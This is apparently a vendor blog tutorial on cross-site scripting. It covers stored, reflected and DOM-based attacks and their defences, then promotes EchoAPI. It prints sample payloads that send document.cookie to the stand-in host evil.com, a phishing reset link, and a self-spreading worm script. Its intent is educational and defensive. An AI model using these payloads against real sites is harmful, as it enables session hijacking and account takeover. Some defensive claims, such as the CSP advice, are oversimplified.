XSS Attacks: How Hackers Turn Your Website into an Apocalypse & How to Defend Against It

Cross-Site Scripting is one of the most dangerous web vulnerabilities, capable of stealing data, hijacking sessions, and spreading like a digital virus. In this guide, we’ll explore real-world examples, attack techniques, and modern prevention strategies.

Cross-Site Scripting (XSS) is a web security vulnerability that allows attackers to inject malicious scripts into your website. These scripts can:

  • Steal user data (like session cookies and login credentials)
  • Modify webpage content (turning your site into a hacker’s playground)
  • Redirect users to malicious phishing sites
  • Spread malware and self-replicating worms

XSS is dangerous because it doesn’t directly attack the server—instead, it tricks users’ browsers into executing harmful code.

Imagine XSS as an invisible hacker whispering bad instructions into a website’s ear, without the server even noticing!

XSS Attacks:

Let’s dive into three types of XSS attacks with real-world examples, so you can see just how sneaky and destructive they can be.

Attack #1: The Evil Comment Spell (Stored XSS)

Step 1: The Vulnerability – Storing Unfiltered User Input

Your gaming forum allows users to post comments that are stored in a database. When displaying comments, the forum inserts them into the webpage without sanitization:

<div id="comments">
  <!-- Comments from users appear here -->
  <p>${userComment}</p>
</div>

What’s wrong here?

  • If a user submits a comment like "Hello, nice strategy!", it works fine.
  • But if they submit <script>alert('You’ve been hacked!');</script>, the browser executes the script instead of displaying it as text.

Step 2: The Attack – Storing and Executing the Malicious Script

A hacker, DarkShadow99, posts this comment:

<script>alert('You’ve been hacked!');</script>

What Happens Next?

  1. The forum saves this comment into the database as raw HTML.
  2. When other users visit the page, their browsers render this comment as an actual script.
  3. The script runs, causing a popup alert every time someone views the infected page.

But it gets worse... Instead of an alert, the hacker can steal user data!

Step 3: A More Dangerous Attack – Session Hijacking

Instead of an alert, the attacker posts this comment:

<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

What Happens Now?

  1. A victim visits the infected page while logged in.
  2. The script automatically runs in their browser.
  3. document.cookie retrieves the user’s session token.
  4. The script sends this session token to the attacker's server (evil.com).
  5. The attacker uses the stolen cookie to log in as the victim—no password needed!

Result: The attacker can hijack accounts, make purchases, or impersonate users!

How Can This Be Prevented?

1. Sanitize User Input Before Storing

Before saving comments in the database, remove or escape harmful characters.

Example: Secure Comment Sanitization (Node.js + Express)

const sanitizeHtml = require('sanitize-html');

app.post('/comment', (req, res) => {
  const safeComment = sanitizeHtml(req.body.comment, {
    allowedTags: [], // No HTML allowed!
    allowedAttributes: {}
  });
  saveToDatabase(safeComment);
});

Now, if a hacker submits <script>...</script>, it gets stripped out!

2. Encode Output Before Displaying

Even if your database contains dangerous input, ensure it’s displayed as text, not executed as code.

Example: Escaping Output (EJS, Handlebars, React, etc.)

<p><%= escapeHtml(userComment) %></p>

Or in React (auto-escapes by default):

<p>{userComment}</p> 

Now <script> is displayed as text, not executed!

3. Implement a Content Security Policy (CSP)

CSP prevents inline scripts from running, even if they somehow make it into the page.

Example: Secure CSP Header

Content-Security-Policy: default-src 'self'; script-src 'none'

This blocks any injected JavaScript from executing!

Attack #2: The Phishing Trap (Reflected XSS)

Your bank (trustworthybank.com) has a "Forgot Password" feature that lets users enter their email to receive a reset link. The request looks like this:

GET /reset-password?email=your@email.com

Step 1: Set Up

The attacker creates a link like this:

https://trustworthybank.com/reset-password?email=<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>

What is happening here?

  • The attacker injects a <script> tag inside the email parameter.
  • The script runs fetch('https://evil.com/steal?cookie='+document.cookie), which steals the victim’s cookies and sends them to evil.com.

The attacker sends this link via:
Email ("Click here to reset your password!")
Social Media ("You’ve won a prize! Claim it now.")
Phishing Websites ("Your account needs verification.")

If the victim clicks the link while logged into their bank account, the request is sent with their authentication cookies.

Step 3: The Server Reflects the Malicious Script

If trustworthybank.com doesn’t properly sanitize user input, it will include the attacker’s script in the HTML response without encoding it.

Vulnerable Server Response:

<p>Reset your password for email: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script></p>

Since browsers execute JavaScript found in responses, this script immediately runs in the victim’s browser.

Step 4: The Script Executes and Steals Cookies

Once the victim loads the page, their browser sees the script and executes it.

What Happens Next?

  1. document.cookie retrieves the victim’s session cookies (which might include login tokens).
  2. fetch('https://evil.com/steal?cookie='+document.cookie) sends the stolen cookies to the attacker’s server.
  3. The attacker can use the victim’s session cookies to log in as them (session hijacking).

If the site does not use HttpOnly cookies, attackers can read and steal session tokens!

How Can This Be Prevented?

To stop this attack, websites should implement multiple security measures:

1. Escape and Sanitize User Input

The server should not render raw user input. Instead, it should encode characters like < > " ' & to prevent script execution.

Safe Output (Escaped HTML):

<p>Reset your password for email: &lt;script&gt;fetch('https://evil.com/steal?cookie='+document.cookie)&lt;/script&gt;</p>

Now, the browser displays the script as text instead of executing it.

2. Implement Content Security Policy (CSP)

CSP can block inline JavaScript execution, preventing XSS.
Example secure header

Content-Security-Policy: default-src 'self'; script-src 'none'

This prevents <script> tags from executing, even if injected!

3. Use HttpOnly Cookies

Cookies should be inaccessible to JavaScript to prevent theft.
Set the cookie with HttpOnly:

Set-Cookie: sessionID=abc123; HttpOnly; Secure; SameSite=Strict

This prevents JavaScript from accessing document.cookie!

4. Validate and Encode URL Parameters

The backend should reject or encode dangerous inputs in URLs.
Safe URL Encoding Example:
Before inserting into the page, encode email:

https://trustworthybank.com/reset-password?email=alice%40mail.com

This prevents <script> tags from being executed.

Attack #3: Unsafe DOM Manipulation

The social media site allows users to set a bio, which is then inserted into the page dynamically using innerHTML:

document.getElementById('bio').innerHTML = userBio;

What’s wrong here?

  • innerHTML renders HTML as real code, meaning if a user sets their bio to a <script> tag, the browser executes it instead of displaying it as text.
  • There is no sanitization or encoding, so attackers can inject JavaScript that runs when someone views their profile.

Step 1: The Attack – Self-Spreading XSS Worm

A hacker sets their profile bio to this malicious payload:

<script>
  fetch('/update-bio', {
    method: 'POST',
    body: '<script>fetch("/update-bio", {method: "POST", body: this.innerHTML})</script>'
  });
</script>

Step 2: A victim Views the Hacker’s Profile

A victim views the hacker’s profile and their browser sees the bio and executes the script inside <script>...</script>.

The script then makes a request to update the victim’s bio.
It sends a new bio containing the same script, effectively copying itself into the victim’s profile.

Step 3: The Victim is Infected

Every time another user visits the victim's profile, they get infected too! This continues spreading across thousands of users in minutes.

The entire social media site gets compromised as users keep infecting each other!

How Can This Be Prevented?

1.The Secure Approach (Prevents XSS)

document.getElementById("bio").innerHTML = userBio;

Problem: innerHTML interprets the text as HTML and executes it, allowing JavaScript injection.

document.getElementById("bio").textContent = userBio;

Fix: textContent treats the input as plain text, so <script> tags are displayed as text instead of running as code.

2. Additional Security Measures

1. Escape & Sanitize User Input:
  • Encode special characters like < and > before inserting them into the DOM.
  • Use a library like DOMPurify to clean user input safely.
2. Use a Content Security Policy (CSP):
  • This prevents injected scripts from running, even if they are inserted via innerHTML.

Block inline scripts with CSP headers:

Content-Security-Policy: default-src 'self'; script-src 'none'
3. Implement HTTP-Only Cookies:
  • Attackers often use XSS to steal session cookies.
  • Set session cookies as HttpOnly, so they cannot be accessed by JavaScript.

Famous XSS Attacks in History

1️⃣ MySpace XSS Worm (2005) – The Fastest-Spreading Virus Ever

A user named Samy Kamkar exploited MySpace by injecting a self-replicating XSS script into his profile’s "About Me" section.

✅ Whenever someone viewed his profile, the script would:

  • Add him as their top friend
  • Copy itself into their profile, spreading automatically

Within 24 hours, over 1 million profiles were infected, and MySpace had to shut down temporarily.

2️⃣ The British Airways Attack (2018) – XSS Steals Credit Cards

Hackers injected malicious scripts into the British Airways website, stealing 380,000 customers' payment details in real-time.

The script secretly sent credit card data to an external server as users typed it in.

British Airways was fined $230 million for failing to secure their site.

Interactive XSS Testing Lab

Want to see how XSS works in action? Try these safe and educational interactive tools:

  1. XSS Game (By Google)https://xss-game.appspot.com
    Solve hacking puzzles to learn about different XSS vulnerabilities.
  2. PortSwigger XSS Labshttps://portswigger.net/web-security/cross-site-scripting
    Hands-on labs to test various XSS attack vectors.
  3. OWASP Juice Shophttps://owasp.org/www-project-juice-shop/
    A vulnerable web application where you can practice ethical hacking.

How EchoAPI Helps Prevent XSS Attacks

How EchoAPI Helps Prevent XSS Attacks

EchoAPI isn't just an API testing tool—it’s a security companion that helps developers.

With its support for multiple communication protocols (HTTP, WebSocket, GraphQL, etc.) and built-in authentication mechanisms, EchoAPI makes it easier to identify and fix XSS vulnerabilities before attackers exploit them.

Benefits of EchoAPI:

  • All-in-One API Solution → Design, test, debug, CI/CD integration, mock services, stress testing, and seamless documentation—all in one place.
  • No Login Required → Access and use without any account setup—just jump in and start working!
  • AI-Powered Imports → Convert API documents into actionable interfaces with intelligent recognition tools.
  • More AI features coming soon !
  • Free Plugins → Compatible with IntelliJ IDEA, VS Code, Cursor, and Chrome—at no extra cost.
API Development with Cursor: The Charm of EchoAPI for Cursor
In this article, we introduce “EchoAPI for Cursor,” which corresponds to this Cursor. This plugin dramatically simplifies the development of REST APIs and realizes a more efficient development workflow.
EchoAPI for VS Code: A Lightweight Alternative to Postman & Thunder Client
EchoAPI is more than just an alternative to Postman; it’s a streamlined, efficient upgrade designed to enhance your API testing workflow.
EchoAPI for IntelliJ IDEA: A Plugin that Boosts API Management for Java Developers
EchoAPI for IntelliJ IDEA is a user-friendly tool that simplifies API design and testing for Java developers. It boosts efficiency by letting you manage APIs without switching apps. Try it today!
  • Offline Support → Work anytime, anywhere—no internet required.
Working Offline? EchoAPI Doesn’t Need Constant Internet Like Postman
As Postman increasingly relies on internet connectivity, its utility in secure, offline environments diminishes. EchoAPI emerges as a robust alternative, offering key advantages like offline operation, data privacy, and seamless Postman data import.
  • Multiple Communication Protocols → Supports HTTP, GraphQL, WebSocket, TCP, SSE, and more.
  • Smart Authentication → Built-in support for OAuth 2.0, JWT Bearer, AWS Signature, Basic Auth, Hawk Authentication, and more.
  • Cross-Tool Compatibility → Import/export projects from Postman, Swagger, and Insomnia with ease.
  • Easy Team Collaboration → Work in real-time, sync data instantly, and share progress seamlessly.
EchoAPI’s Five Hidden Gems: Did You Know?
EchoAPI offers great core features and handy extras that improve API development. With load testing, easy documentation sharing, and Postman imports, it stands out among API management tools.

The Ultimate XSS Defense Guide

To protect your site from XSS attacks, follow these golden security practices:
Use EchoAPI to design your APIs
Sanitize ALL user input before storing or displaying it.
Use Content-Security-Policy (CSP) to block inline scripts.
Escape special characters before inserting them into HTML (<script>&lt;script&gt;).
Use HTTP-only cookies so scripts can’t steal authentication tokens.
Avoid innerHTML—use .textContent instead.
Regularly update your software—hackers love outdated systems!

Final: Be the Defender, Not the Victim!

XSS is one of the most common and dangerous web vulnerabilities—but with proper security practices, you can fortify your website against these invisible attacks.

Stay safe, keep your code clean, and never trust user input blindly. Happy coding!